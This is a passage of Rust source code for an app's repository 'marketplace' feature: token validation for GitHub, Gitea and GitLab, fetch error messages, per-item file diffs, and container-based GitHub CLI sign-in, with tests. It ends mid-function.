match who_am_i(&client, kind, site, token).await? {
|
||||
Probe::Login(login) => return Ok(Some(login)),
|
||||
Probe::Rejected(status) => return Err(rejected(host, status)),
|
||||
Probe::NotThisKind => {}
|
||||
}
|
||||
}
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
/// "Who am I" check for a pasted token. `Ok(Some(login))` when the host
|
||||
/// confirmed it; `Ok(None)` when the host is not GitHub, Gitea or GitLab and
|
||||
/// the token is left to the first fetch to prove.
|
||||
pub async fn validate_token(host: &str, token: &str) -> Result<Option<String>, String> {
|
||||
if !valid_host(host) {
|
||||
return Err(format!("{:?} is not a supported host name", host));
|
||||
}
|
||||
if token.trim().is_empty() {
|
||||
return Err("Paste a token first.".to_string());
|
||||
}
|
||||
let site = format!("https://{}", host);
|
||||
match host_kind(host) {
|
||||
HostKind::GitHub => {
|
||||
validate_token_at(host, Some("https://api.github.com"), &site, token.trim()).await
|
||||
}
|
||||
_ => validate_token_at(host, None, &site, token.trim()).await,
|
||||
}
|
||||
}
|
||||
|
||||
// ─────────────────────────────────────────────────────────────────────────────
|
||||
// Fetch errors
|
||||
// ─────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
fn who(account: Option<&MarketplaceAccount>) -> String {
|
||||
match account {
|
||||
None => "anonymously (no account)".to_string(),
|
||||
Some(a) => match &a.username {
|
||||
Some(u) if !u.is_empty() => format!("with the account \"{}\" ({})", a.label, u),
|
||||
_ => format!("with the account \"{}\"", a.label),
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
/// User-facing message for a failed fetch, naming the account used and, for
|
||||
/// access problems, the usual organisation causes with the page that fixes each.
|
||||
///
|
||||
/// `url` must be a marketplace URL already validated by [`host_of`] (as every
|
||||
/// stored marketplace's URL is) — it is echoed into the message verbatim, so
|
||||
/// passing unvalidated user input here would defeat the point of N17.
|
||||
pub fn describe_fetch_error(
|
||||
err: &FetchError,
|
||||
account: Option<&MarketplaceAccount>,
|
||||
url: &str,
|
||||
) -> String {
|
||||
let host = host_of(url).unwrap_or_else(|_| url.to_string());
|
||||
match err {
|
||||
FetchError::Auth { .. } | FetchError::NotFound => {
|
||||
let what = match err {
|
||||
FetchError::Auth { status } => format!("access was denied (HTTP {})", status),
|
||||
_ => "the repository was not found".to_string(),
|
||||
};
|
||||
let mut msg = format!("Could not read {} {}: {}.", url, who(account), what);
|
||||
if account.is_none() {
|
||||
msg.push_str(
|
||||
"\n• The repository may be private — choose an account that can read it.",
|
||||
);
|
||||
}
|
||||
if host_kind(&host) == HostKind::GitHub {
|
||||
msg.push_str(
|
||||
"\n• The organization may restrict third-party app access and not have approved \
|
||||
the GitHub CLI or your token: \
|
||||
https://docs.github.com/en/organizations/managing-oauth-access-to-your-organizations-data/about-oauth-app-access-restrictions\
|
||||
\n• If the organization uses SAML single sign-on, the token must be authorized for it: \
|
||||
https://github.com/settings/tokens\
|
||||
\n• A fine-grained token only reaches repositories of the owner it was created for: \
|
||||
https://github.com/settings/personal-access-tokens",
|
||||
);
|
||||
} else if account.is_some() {
|
||||
msg.push_str("\n• Check that the account's token has not expired and can read this repository.");
|
||||
}
|
||||
msg
|
||||
}
|
||||
FetchError::Network(m) => format!(
|
||||
"Could not reach {}: {}. The last fetched copy is still used.",
|
||||
host, m
|
||||
),
|
||||
FetchError::Other(m) => format!("Fetching {} failed: {}", url, m),
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
fn account(host: &str, username: Option<&str>) -> MarketplaceAccount {
|
||||
MarketplaceAccount {
|
||||
id: "acc-1".into(),
|
||||
label: "Work".into(),
|
||||
host: host.into(),
|
||||
method: AccountMethod::Token,
|
||||
username: username.map(str::to_string),
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn host_of_accepts_https_only() {
|
||||
assert_eq!(host_of("https://GitHub.com/a/b.git").unwrap(), "github.com");
|
||||
assert_eq!(
|
||||
host_of("https://git.example.com:8443/a/b").unwrap(),
|
||||
"git.example.com:8443"
|
||||
);
|
||||
assert!(host_of("http://github.com/a/b").is_err());
|
||||
assert!(host_of("git@github.com:a/b.git").is_err());
|
||||
assert!(host_of("file:///tmp/x").is_err());
|
||||
let err = host_of("https://user:test-token-not-real@github.com/a/b").unwrap_err();
|
||||
assert!(!err.contains("test-token-not-real"));
|
||||
}
|
||||
|
||||
/// Pre-flight N17, the parse-failure branch specifically: a URL that is
|
||||
/// both malformed (port out of `u16` range) *and* carries credentials
|
||||
/// must not have either the credentials or the raw URL echoed back.
|
||||
#[test]
|
||||
fn host_of_never_echoes_a_credential_bearing_url_that_fails_to_parse() {
|
||||
let err = host_of("https://user:test-token-not-real@github.com:99999/a").unwrap_err();
|
||||
assert!(!err.contains("test-token-not-real"), "{}", err);
|
||||
assert!(!err.contains("user:"), "{}", err);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn fetch_username_per_host() {
|
||||
assert_eq!(
|
||||
fetch_username(&account("github.com", Some("me"))),
|
||||
"x-access-token"
|
||||
);
|
||||
assert_eq!(
|
||||
fetch_username(&account("repo.example.net", Some("jk"))),
|
||||
"jk"
|
||||
);
|
||||
assert_eq!(fetch_username(&account("repo.example.net", None)), "oauth2");
|
||||
assert_eq!(
|
||||
fetch_username(&account("repo.example.net", Some(" "))),
|
||||
"oauth2"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn host_kinds() {
|
||||
assert_eq!(host_kind("GITHUB.com"), HostKind::GitHub);
|
||||
assert_eq!(host_kind("gitlab.com"), HostKind::GitLab);
|
||||
assert_eq!(host_kind("repo.example.net"), HostKind::Unknown);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn describe_access_errors_names_account_and_org_causes() {
|
||||
let url = "https://github.com/acme/private-market.git";
|
||||
let msg = describe_fetch_error(
|
||||
&FetchError::Auth { status: 403 },
|
||||
Some(&account("github.com", Some("me"))),
|
||||
url,
|
||||
);
|
||||
assert!(msg.contains("\"Work\" (me)"), "{}", msg);
|
||||
assert!(msg.contains("HTTP 403"));
|
||||
assert!(msg.contains("third-party app access"));
|
||||
assert!(msg.contains("single sign-on"));
|
||||
assert!(msg.contains("fine-grained"));
|
||||
|
||||
let anon = describe_fetch_error(&FetchError::NotFound, None, url);
|
||||
assert!(anon.contains("anonymously"));
|
||||
assert!(anon.contains("may be private"));
|
||||
|
||||
let gitea = describe_fetch_error(
|
||||
&FetchError::Auth { status: 401 },
|
||||
Some(&account("repo.example.net", None)),
|
||||
"https://repo.example.net/o/r.git",
|
||||
);
|
||||
assert!(!gitea.contains("single sign-on"));
|
||||
assert!(gitea.contains("expired"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn describe_network_and_other_errors() {
|
||||
let msg = describe_fetch_error(
|
||||
&FetchError::Network("dns error".into()),
|
||||
None,
|
||||
"https://github.com/a/b",
|
||||
);
|
||||
assert!(msg.contains("Could not reach github.com"));
|
||||
assert!(msg.contains("last fetched copy"));
|
||||
let msg = describe_fetch_error(
|
||||
&FetchError::Other("weird".into()),
|
||||
None,
|
||||
"https://github.com/a/b",
|
||||
);
|
||||
assert!(msg.contains("weird"));
|
||||
}
|
||||
|
||||
// ── validate_token against a local mock API ──────────────────────────────
|
||||
|
||||
const FAKE: &str = "test-token-not-real";
|
||||
|
||||
async fn serve(app: axum::Router) -> String {
|
||||
let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
|
||||
let addr = listener.local_addr().unwrap();
|
||||
tokio::spawn(async move {
|
||||
axum::serve(listener, app).await.unwrap();
|
||||
});
|
||||
format!("http://{}", addr)
|
||||
}
|
||||
|
||||
fn authorised(headers: &axum::http::HeaderMap, name: &str, want: &str) -> bool {
|
||||
headers.get(name).and_then(|v| v.to_str().ok()) == Some(want)
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn github_token_returns_login_or_is_rejected() {
|
||||
use axum::{http::HeaderMap, http::StatusCode, routing::get, Json, Router};
|
||||
let app = Router::new().route(
|
||||
"/user",
|
||||
get(|headers: HeaderMap| async move {
|
||||
if authorised(&headers, "authorization", &format!("Bearer {}", FAKE)) {
|
||||
Ok(Json(serde_json::json!({ "login": "octo" })))
|
||||
} else {
|
||||
Err(StatusCode::UNAUTHORIZED)
|
||||
}
|
||||
}),
|
||||
);
|
||||
let base = serve(app).await;
|
||||
assert_eq!(
|
||||
validate_token_at("github.com", Some(&base), "unused", FAKE)
|
||||
.await
|
||||
.unwrap(),
|
||||
Some("octo".to_string())
|
||||
);
|
||||
let err = validate_token_at("github.com", Some(&base), "unused", "wrong")
|
||||
.await
|
||||
.unwrap_err();
|
||||
assert!(err.contains("HTTP 401"), "{}", err);
|
||||
assert!(
|
||||
!err.contains("wrong"),
|
||||
"the token must not appear in the error"
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn gitea_is_detected_first() {
|
||||
use axum::{http::HeaderMap, http::StatusCode, routing::get, Json, Router};
|
||||
let app = Router::new().route(
|
||||
"/api/v1/user",
|
||||
get(|headers: HeaderMap| async move {
|
||||
if authorised(&headers, "authorization", &format!("token {}", FAKE)) {
|
||||
Ok(Json(serde_json::json!({ "login": "jk" })))
|
||||
} else {
|
||||
Err(StatusCode::UNAUTHORIZED)
|
||||
}
|
||||
}),
|
||||
);
|
||||
let site = serve(app).await;
|
||||
assert_eq!(
|
||||
validate_token_at("h", None, &site, FAKE).await.unwrap(),
|
||||
Some("jk".to_string())
|
||||
);
|
||||
assert!(validate_token_at("h", None, &site, "wrong").await.is_err());
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn gitlab_is_tried_after_gitea_404() {
|
||||
use axum::{http::HeaderMap, http::StatusCode, routing::get, Json, Router};
|
||||
let app = Router::new().route(
|
||||
"/api/v4/user",
|
||||
get(|headers: HeaderMap| async move {
|
||||
if authorised(&headers, "private-token", FAKE) {
|
||||
Ok(Json(serde_json::json!({ "username": "gl-user" })))
|
||||
} else {
|
||||
Err(StatusCode::UNAUTHORIZED)
|
||||
}
|
||||
}),
|
||||
);
|
||||
let site = serve(app).await;
|
||||
assert_eq!(
|
||||
validate_token_at("h", None, &site, FAKE).await.unwrap(),
|
||||
Some("gl-user".to_string())
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn unknown_host_is_left_unchecked() {
|
||||
let site = serve(axum::Router::new()).await; // every path 404s
|
||||
assert_eq!(
|
||||
validate_token_at("h", None, &site, FAKE).await.unwrap(),
|
||||
None
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn validate_token_refuses_bad_input_without_network() {
|
||||
assert!(validate_token("-evil", FAKE).await.is_err());
|
||||
assert!(validate_token("github.com", " ").await.is_err());
|
||||
}
|
||||
|
||||
/// Fix-round-1 security finding: reqwest's default redirect policy
|
||||
/// follows up to 10 hops and only strips Authorization/Cookie/
|
||||
/// Proxy-Authorization/WWW-Authenticate on a cross-host hop — GitLab's
|
||||
/// PRIVATE-TOKEN header is none of those, so an unfollowed-by-default
|
||||
/// client is the only thing stopping a malicious/compromised "GitLab"
|
||||
/// host from redirecting the probe (with the token still attached) to
|
||||
/// an attacker-controlled target. Plain `std::net::TcpListener`s stand
|
||||
/// in for the origin and the redirect target so the test can assert the
|
||||
/// target is never even connected to, let alone handed the header.
|
||||
#[tokio::test]
|
||||
async fn redirect_is_never_followed_and_the_token_never_reaches_the_target() {
|
||||
use std::io::{Read, Write};
|
||||
use std::net::TcpListener;
|
||||
use std::sync::mpsc;
|
||||
use std::time::Duration as StdDuration;
|
||||
|
||||
// The redirect target. If the client ever followed the redirect,
|
||||
// this listener would receive the request — token header included.
|
||||
let target = TcpListener::bind("127.0.0.1:0").unwrap();
|
||||
let target_addr = target.local_addr().unwrap();
|
||||
let (tx, rx) = mpsc::channel::<String>();
|
||||
std::thread::spawn(move || {
|
||||
target.set_nonblocking(false).ok();
|
||||
if let Ok((mut stream, _)) = target.accept() {
|
||||
let mut buf = [0u8; 4096];
|
||||
let n = stream.read(&mut buf).unwrap_or(0);
|
||||
let request = String::from_utf8_lossy(&buf[..n]).to_string();
|
||||
let _ = stream.write_all(b"HTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n");
|
||||
let _ = tx.send(request);
|
||||
}
|
||||
});
|
||||
|
||||
// The origin the probe actually asks, which answers with a 3xx
|
||||
// pointing at the target above.
|
||||
let origin = TcpListener::bind("127.0.0.1:0").unwrap();
|
||||
let origin_addr = origin.local_addr().unwrap();
|
||||
std::thread::spawn(move || {
|
||||
if let Ok((mut stream, _)) = origin.accept() {
|
||||
let mut buf = [0u8; 4096];
|
||||
let _ = stream.read(&mut buf);
|
||||
let body = format!(
|
||||
"HTTP/1.1 302 Found\r\nLocation: http://{}/api/v4/user\r\nContent-Length: 0\r\n\r\n",
|
||||
target_addr
|
||||
);
|
||||
let _ = stream.write_all(body.as_bytes());
|
||||
}
|
||||
});
|
||||
|
||||
let base = format!("http://{}", origin_addr);
|
||||
let client = http_client().unwrap();
|
||||
let outcome = who_am_i(&client, HostKind::GitLab, &base, FAKE).await;
|
||||
|
||||
// The redirect is reported as "not this kind of host", not an error
|
||||
// and not a login — it must not be silently trusted either way.
|
||||
assert_eq!(outcome.unwrap(), Probe::NotThisKind);
|
||||
|
||||
// And the target must never see a connection carrying the token —
|
||||
// ideally no connection at all, since the client never follows.
|
||||
// no connection at all is also the expected outcome
|
||||
if let Ok(request) = rx.recv_timeout(StdDuration::from_millis(500)) {
|
||||
assert!(
|
||||
!request.contains(FAKE) && !request.to_ascii_lowercase().contains("private-token"),
|
||||
"the redirect target must never receive the token: {request}"
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,198 @@
|
||||
//! Text diff of one item between two commits, for the "Update" review.
|
||||
|
||||
use std::collections::BTreeMap;
|
||||
use std::path::Path;
|
||||
|
||||
use similar::TextDiff;
|
||||
|
||||
use super::catalog::{item_files, ItemFile};
|
||||
use super::tree::GitTree;
|
||||
use crate::models::marketplace::{FileChange, FileDiff, ItemKind};
|
||||
|
||||
/// Files of `kind`/`key` at `commit`, or an empty list when the item does not
|
||||
/// exist (or is not installable) at that commit — a removal upstream then reads
|
||||
/// as every file removed rather than as an error.
|
||||
fn files_at(
|
||||
repo_path: &Path,
|
||||
kind: ItemKind,
|
||||
key: &str,
|
||||
commit: &str,
|
||||
) -> Result<Vec<ItemFile>, String> {
|
||||
let tree = GitTree::open(repo_path, commit)?;
|
||||
Ok(item_files(&tree, kind, key).unwrap_or_default())
|
||||
}
|
||||
|
||||
pub fn item_diff(
|
||||
repo_path: &Path,
|
||||
kind: ItemKind,
|
||||
key: &str,
|
||||
from_commit: &str,
|
||||
to_commit: &str,
|
||||
) -> Result<Vec<FileDiff>, String> {
|
||||
let old = files_at(repo_path, kind, key, from_commit)?;
|
||||
let new = files_at(repo_path, kind, key, to_commit)?;
|
||||
Ok(diff_files(&old, &new))
|
||||
}
|
||||
|
||||
fn as_text(data: &[u8]) -> Option<&str> {
|
||||
if data.contains(&0) {
|
||||
return None;
|
||||
}
|
||||
std::str::from_utf8(data).ok()
|
||||
}
|
||||
|
||||
fn unified(path: &str, old: &str, new: &str) -> String {
|
||||
TextDiff::from_lines(old, new)
|
||||
.unified_diff()
|
||||
.context_radius(3)
|
||||
.header(&format!("a/{path}"), &format!("b/{path}"))
|
||||
.to_string()
|
||||
}
|
||||
|
||||
/// Per-file diff, sorted by path; files identical in content and mode are left out.
|
||||
pub(crate) fn diff_files(old: &[ItemFile], new: &[ItemFile]) -> Vec<FileDiff> {
|
||||
let old: BTreeMap<&str, &ItemFile> = old.iter().map(|f| (f.rel_path.as_str(), f)).collect();
|
||||
let new: BTreeMap<&str, &ItemFile> = new.iter().map(|f| (f.rel_path.as_str(), f)).collect();
|
||||
let mut paths: Vec<&str> = old.keys().chain(new.keys()).copied().collect();
|
||||
paths.sort_unstable();
|
||||
paths.dedup();
|
||||
|
||||
let mut out = Vec::new();
|
||||
for path in paths {
|
||||
match (old.get(path), new.get(path)) {
|
||||
(Some(o), Some(n)) => {
|
||||
if o.data == n.data && o.executable == n.executable {
|
||||
continue;
|
||||
}
|
||||
let text = match (as_text(&o.data), as_text(&n.data)) {
|
||||
(Some(a), Some(b)) => {
|
||||
let mut s = String::new();
|
||||
if o.executable != n.executable {
|
||||
s.push_str(&format!(
|
||||
"# executable: {} -> {}\n",
|
||||
o.executable, n.executable
|
||||
));
|
||||
}
|
||||
s.push_str(&unified(path, a, b));
|
||||
Some(s)
|
||||
}
|
||||
_ => None,
|
||||
};
|
||||
out.push(FileDiff {
|
||||
path: path.to_string(),
|
||||
change: FileChange::Modified,
|
||||
unified: text,
|
||||
});
|
||||
}
|
||||
(Some(o), None) => out.push(FileDiff {
|
||||
path: path.to_string(),
|
||||
change: FileChange::Removed,
|
||||
unified: as_text(&o.data).map(|a| unified(path, a, "")),
|
||||
}),
|
||||
(None, Some(n)) => out.push(FileDiff {
|
||||
path: path.to_string(),
|
||||
change: FileChange::Added,
|
||||
unified: as_text(&n.data).map(|b| unified(path, "", b)),
|
||||
}),
|
||||
(None, None) => {}
|
||||
}
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use crate::marketplace::git;
|
||||
use crate::marketplace::test_support::GitFixture;
|
||||
|
||||
fn f(path: &str, text: &str, executable: bool) -> ItemFile {
|
||||
ItemFile {
|
||||
rel_path: path.to_string(),
|
||||
data: text.as_bytes().to_vec(),
|
||||
executable,
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn unchanged_files_are_omitted_and_changes_are_classified() {
|
||||
let old = vec![
|
||||
f("a.md", "one\n", false),
|
||||
f("gone.sh", "x\n", true),
|
||||
f("same", "s\n", false),
|
||||
];
|
||||
let new = vec![
|
||||
f("a.md", "two\n", false),
|
||||
f("new.txt", "n\n", false),
|
||||
f("same", "s\n", false),
|
||||
];
|
||||
let diffs = diff_files(&old, &new);
|
||||
let summary: Vec<(&str, FileChange)> = diffs
|
||||
.iter()
|
||||
.map(|d| (d.path.as_str(), d.change.clone()))
|
||||
.collect();
|
||||
assert_eq!(
|
||||
summary,
|
||||
vec![
|
||||
("a.md", FileChange::Modified),
|
||||
("gone.sh", FileChange::Removed),
|
||||
("new.txt", FileChange::Added),
|
||||
]
|
||||
);
|
||||
let a = diffs[0].unified.as_deref().unwrap();
|
||||
assert!(a.contains("-one") && a.contains("+two"), "{a}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn binary_files_have_no_text_diff() {
|
||||
let old = vec![ItemFile {
|
||||
rel_path: "b.bin".into(),
|
||||
data: vec![0, 1, 2],
|
||||
executable: false,
|
||||
}];
|
||||
let new = vec![ItemFile {
|
||||
rel_path: "b.bin".into(),
|
||||
data: vec![0, 1, 3],
|
||||
executable: false,
|
||||
}];
|
||||
let diffs = diff_files(&old, &new);
|
||||
assert_eq!(diffs.len(), 1);
|
||||
assert_eq!(diffs[0].unified, None);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn an_executable_bit_change_is_reported() {
|
||||
let old = vec![f("run.sh", "echo\n", false)];
|
||||
let new = vec![f("run.sh", "echo\n", true)];
|
||||
let diffs = diff_files(&old, &new);
|
||||
assert_eq!(diffs.len(), 1);
|
||||
assert!(diffs[0]
|
||||
.unified
|
||||
.as_deref()
|
||||
.unwrap()
|
||||
.contains("executable: false -> true"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn item_diff_reads_both_commits_from_the_cache() {
|
||||
let Some(fx) = GitFixture::new() else { return };
|
||||
let c1 = fx.with_all_kinds();
|
||||
fx.write(
|
||||
"hooks/notify-on-stop/notify.sh",
|
||||
"#!/bin/sh\ncurl https://example.invalid\n",
|
||||
);
|
||||
let c2 = fx.commit("change hook");
|
||||
let data = tempfile::tempdir().unwrap();
|
||||
let repo = git::cache_path(data.path(), "m1");
|
||||
git::fetch(&repo, &fx.url(), None, None).unwrap();
|
||||
|
||||
let diffs = item_diff(&repo, ItemKind::Hook, "notify-on-stop", &c1, &c2).unwrap();
|
||||
assert_eq!(diffs.len(), 1);
|
||||
assert_eq!(diffs[0].path, "notify.sh");
|
||||
assert!(diffs[0]
|
||||
.unified
|
||||
.as_deref()
|
||||
.unwrap()
|
||||
.contains("+curl https://example.invalid"));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,850 @@
|
||||
//! GitHub sign-in through `gh auth login --web` inside a running container, for
|
||||
//! hosts that have no `gh` of their own. The token is read back through the
|
||||
//! exec, returned to the caller for the keychain, and never emitted, logged or
|
||||
//! left behind in the container.
|
||||
|
||||
use std::time::Duration;
|
||||
|
||||
use bollard::container::LogOutput;
|
||||
use futures_util::{Stream, StreamExt};
|
||||
use tauri::{AppHandle, Emitter};
|
||||
use tokio::io::{AsyncWrite, AsyncWriteExt};
|
||||
use tokio::sync::oneshot;
|
||||
|
||||
use crate::commands::auth_token_commands::{push_capped_tail, AnsiStripper, SUBMIT_ENTER_DELAY};
|
||||
use crate::docker::exec::{
|
||||
create_attached_exec_as, exec_oneshot_as, wait_for_exec_exit, AttachedExec,
|
||||
};
|
||||
|
||||
pub const CODE_EVENT: &str = "marketplace-gh-login-code";
|
||||
pub const OUTPUT_EVENT: &str = "marketplace-gh-login-output";
|
||||
|
||||
const LOGIN_TIMEOUT: Duration = Duration::from_secs(10 * 60);
|
||||
const TOKEN_BEGIN: &str = "__TRIPLEC_TOKEN_BEGIN__";
|
||||
const TOKEN_END: &str = "__TRIPLEC_TOKEN_END__";
|
||||
/// Common prefix of both markers: any line containing it is never shown.
|
||||
const TOKEN_MARKER: &str = "__TRIPLEC_TOKEN";
|
||||
const MAX_TRANSCRIPT: usize = 64 * 1024;
|
||||
const MAX_PENDING_LINE: usize = 4096;
|
||||
|
||||
/// Pre-flight N9: on cancel or timeout the attach is dropped, but `gh auth
|
||||
/// login` would keep polling in the container. This matches both it and the
|
||||
/// script around it (whose text contains the same words); errors are ignored.
|
||||
const CANCEL_PKILL: [&str; 3] = ["pkill", "-f", "gh auth login --hostname"];
|
||||
|
||||
/// Constant script; the host is `$1` (argv, never interpolated), because
|
||||
/// `create_attached_exec_as` takes no env.
|
||||
///
|
||||
/// * `GH_CONFIG_DIR` / `GIT_CONFIG_GLOBAL` live in a temp dir removed on exit,
|
||||
/// so the container is never left logged in. The `HUP INT TERM` trap turns a
|
||||
/// signal (the pty closing, or the cancel `pkill`) into a normal exit so the
|
||||
/// `EXIT` trap still runs — `sh` skips it when killed outright.
|
||||
/// * `--git-protocol ssh --skip-ssh-key` avoids gh's "Authenticate Git with
|
||||
/// your GitHub credentials?" prompt, which `https` triggers and which would
|
||||
/// write a credential helper into the git config.
|
||||
/// * `BROWSER=true` makes gh's "open the browser" step a no-op.
|
||||
const GH_LOGIN_SCRIPT: &str = r#"set -eu
|
||||
host="$1"
|
||||
case "$host" in
|
||||
'' | -* | *[!A-Za-z0-9.-]*) echo "invalid host" >&2; exit 2 ;;
|
||||
esac
|
||||
export HOME=/home/claude
|
||||
d=$(mktemp -d)
|
||||
trap 'rm -rf "$d"' EXIT
|
||||
trap 'exit 130' HUP INT TERM
|
||||
export GH_CONFIG_DIR="$d" GIT_CONFIG_GLOBAL="$d/gitconfig" BROWSER=true
|
||||
gh auth login --hostname "$host" --web --git-protocol ssh --skip-ssh-key --scopes repo
|
||||
t=$(gh auth token --hostname "$host")
|
||||
printf '\n%s%s%s\n' __TRIPLEC_TOKEN_BEGIN__ "$t" __TRIPLEC_TOKEN_END__
|
||||
"#;
|
||||
|
||||
/// Pre-flight F13: the shared host rule, minus ports — `gh auth login
|
||||
/// --hostname` takes a bare name.
|
||||
pub fn valid_host(host: &str) -> bool {
|
||||
crate::marketplace::auth::valid_host(host) && !host.contains(':')
|
||||
}
|
||||
|
||||
/// Remove terminal control sequences and carriage returns from one complete
|
||||
/// piece of text. An unterminated sequence at the end is dropped. The login
|
||||
/// itself uses a streaming [`AnsiStripper`], which carries a sequence split
|
||||
/// across chunks instead; this one-shot form exists for tests only.
|
||||
#[cfg(test)]
|
||||
fn strip_ansi(s: &str) -> String {
|
||||
AnsiStripper::default().push(s.as_bytes())
|
||||
}
|
||||
|
||||
/// Read gh's device code and URL. Returns (code, url).
|
||||
///
|
||||
/// Two wordings are known:
|
||||
/// * older gh: `! First copy your one-time code: XXXX-XXXX`, then either a
|
||||
/// URL or "Press Enter to open <host> in your browser";
|
||||
/// * gh 2.101 (the image's): `! One-time code (XXXX-XXXX) copied to
|
||||
/// clipboard`, then "Press Enter to open https://<host>/login/device in your
|
||||
/// browser...".
|
||||
///
|
||||
/// The URL is the first `https://…/login/device` word, else
|
||||
/// `https://<host>/login/device`.
|
||||
pub fn parse_device_prompt(output: &str, host: &str) -> Option<(String, String)> {
|
||||
const LABEL: &str = "one-time code";
|
||||
// ASCII lowercasing keeps byte offsets, so `at` indexes `output` too.
|
||||
let at = output.to_ascii_lowercase().find(LABEL)? + LABEL.len();
|
||||
let rest = output[at..].trim_start_matches(|c: char| c == ':' || c == '(' || c.is_whitespace());
|
||||
let code: String = rest
|
||||
.chars()
|
||||
.take_while(|c| c.is_ascii_alphanumeric() || *c == '-')
|
||||
.collect();
|
||||
// Something must follow the code (`)` or a line break): a code at the
|
||||
// very end may still be growing in the next frame.
|
||||
if code.len() < 6 || !code.contains('-') || rest.len() == code.len() {
|
||||
return None;
|
||||
}
|
||||
let url = output
|
||||
.split_whitespace()
|
||||
.find(|w| w.starts_with("https://") && w.contains("/login/device"))
|
||||
.map(|w| {
|
||||
w.trim_end_matches(|c: char| !c.is_ascii_alphanumeric() && c != '/')
|
||||
.to_string()
|
||||
})
|
||||
.unwrap_or_else(|| format!("https://{host}/login/device"));
|
||||
Some((code, url))
|
||||
}
|
||||
|
||||
pub fn extract_token(text: &str) -> Option<String> {
|
||||
let start = text.find(TOKEN_BEGIN)? + TOKEN_BEGIN.len();
|
||||
let end = start + text[start..].find(TOKEN_END)?;
|
||||
let token = text[start..end].trim();
|
||||
if token.is_empty() || token.chars().any(|c| c.is_whitespace() || c.is_control()) {
|
||||
return None;
|
||||
}
|
||||
Some(token.to_string())
|
||||
}
|
||||
|
||||
/// Append `chunk` and hand back the complete lines, minus any line carrying the
|
||||
/// token markers. A partial line waits in `pending` (so a marker split across
|
||||
/// chunks is never shown), and is dropped if it grows past a bound.
|
||||
pub fn take_display_lines(pending: &mut String, chunk: &str) -> String {
|
||||
pending.push_str(chunk);
|
||||
let Some(last_nl) = pending.rfind('\n') else {
|
||||
if pending.len() > MAX_PENDING_LINE {
|
||||
pending.clear();
|
||||
}
|
||||
return String::new();
|
||||
};
|
||||
let complete: String = pending.drain(..=last_nl).collect();
|
||||
complete
|
||||
.lines()
|
||||
.filter(|l| !l.contains(TOKEN_MARKER))
|
||||
.map(|l| format!("{l}\n"))
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// What to show when the login ends without a token: the last few lines, with
|
||||
/// any marker line removed.
|
||||
fn failure_tail(transcript: &str) -> String {
|
||||
let lines: Vec<&str> = transcript
|
||||
.lines()
|
||||
.filter(|l| !l.contains(TOKEN_MARKER) && !l.trim().is_empty())
|
||||
.collect();
|
||||
lines[lines.len().saturating_sub(5)..].join("\n")
|
||||
}
|
||||
|
||||
/// Pre-flight N9 / review fix 1: stop the in-container login after any
|
||||
/// failed attempt.
|
||||
async fn kill_container_login(container_id: &str) {
|
||||
let cmd = CANCEL_PKILL.iter().map(|s| s.to_string()).collect();
|
||||
let _ = exec_oneshot_as(container_id, "claude", cmd, vec![]).await;
|
||||
}
|
||||
|
||||
/// Hand `result` back, running `cleanup` first when it is a failure.
|
||||
///
|
||||
/// Review fix 1: a tty exec keeps running after its attach is dropped, so any
|
||||
/// login that ends without a token — cancel, timeout, a lost stream, a failed
|
||||
/// write, gh exiting without one — must stop the in-container login, or gh
|
||||
/// keeps polling and its temp `GH_CONFIG_DIR` (which receives the token if the
|
||||
/// user finishes in the browser) outlives the attempt.
|
||||
async fn cleanup_on_error<T, C, Fut>(result: Result<T, String>, cleanup: C) -> Result<T, String>
|
||||
where
|
||||
C: FnOnce() -> Fut,
|
||||
Fut: std::future::Future<Output = ()>,
|
||||
{
|
||||
if result.is_err() {
|
||||
cleanup().await;
|
||||
}
|
||||
result
|
||||
}
|
||||
|
||||
/// Pump gh's output until the exec ends, emitting code and display events and
|
||||
/// pressing Enter at gh's prompt. `Ok` is the transcript of a stream that ended
|
||||
/// normally; every other ending is `Err`. Takes the attach halves by value, so
|
||||
/// they are closed by the time this returns.
|
||||
async fn drive_login<S, W, E>(
|
||||
mut output: S,
|
||||
mut input: W,
|
||||
cancel: &mut oneshot::Receiver<()>,
|
||||
deadline: tokio::time::Instant,
|
||||
account_id: &str,
|
||||
host: &str,
|
||||
mut emit: E,
|
||||
) -> Result<String, String>
|
||||
where
|
||||
S: Stream<Item = Result<LogOutput, bollard::errors::Error>> + Unpin,
|
||||
W: AsyncWrite + Unpin,
|
||||
E: FnMut(&'static str, serde_json::Value),
|
||||
{
|
||||
let mut stripper = AnsiStripper::default();
|
||||
let mut transcript = String::new();
|
||||
let mut pending = String::new();
|
||||
let mut code_sent = false;
|
||||
let mut enter_sent = false;
|
||||
|
||||
loop {
|
||||
let next = tokio::select! {
|
||||
_ = &mut *cancel => {
|
||||
return Err("GitHub sign-in cancelled. Nothing was stored.".to_string());
|
||||
}
|
||||
next = tokio::time::timeout_at(deadline, output.next()) => match next {
|
||||
Ok(next) => next,
|
||||
Err(_) => {
|
||||
return Err(format!(
|
||||
